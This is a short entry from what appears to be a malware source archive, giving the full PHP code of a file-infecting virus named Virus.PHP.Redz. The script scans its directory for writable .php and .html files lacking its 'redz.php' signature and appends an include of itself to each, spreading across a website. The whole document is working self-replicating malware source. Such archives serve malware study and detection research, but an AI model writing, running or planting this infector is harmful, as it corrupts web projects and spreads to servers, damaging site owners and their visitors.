vxug-MalwareSourceCode/PHP/Virus.PHP.Redz

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677 B
Plaintext

<?php
$handle=opendir('.');
while ($file = readdir($handle))
{ $inf_=true;
$ext_=false;
if ( ($ext_ = strstr ($file, '.php')) || ($ext_ = strstr ($file, '.htm')) || ($ext_ = strstr ($file, '.html')) )
if ( is_file($file) && is_writeable($file) )
{
$host = fopen($file, "r");
$contents = fread ($host, filesize ($file));
$sig = strstr ($contents, 'redz.php');
if(!$sig) $inf_=false;
}
if (($inf_==false))
{
$host = fopen($file, "a");
fputs($host,"<?php ");
fputs($host,"include(\"");
fputs($host,__FILE__);
fputs($host,"\"); ");
fputs($host,"?>");
fclose($host);
return;
}
}
closedir($handle);
?>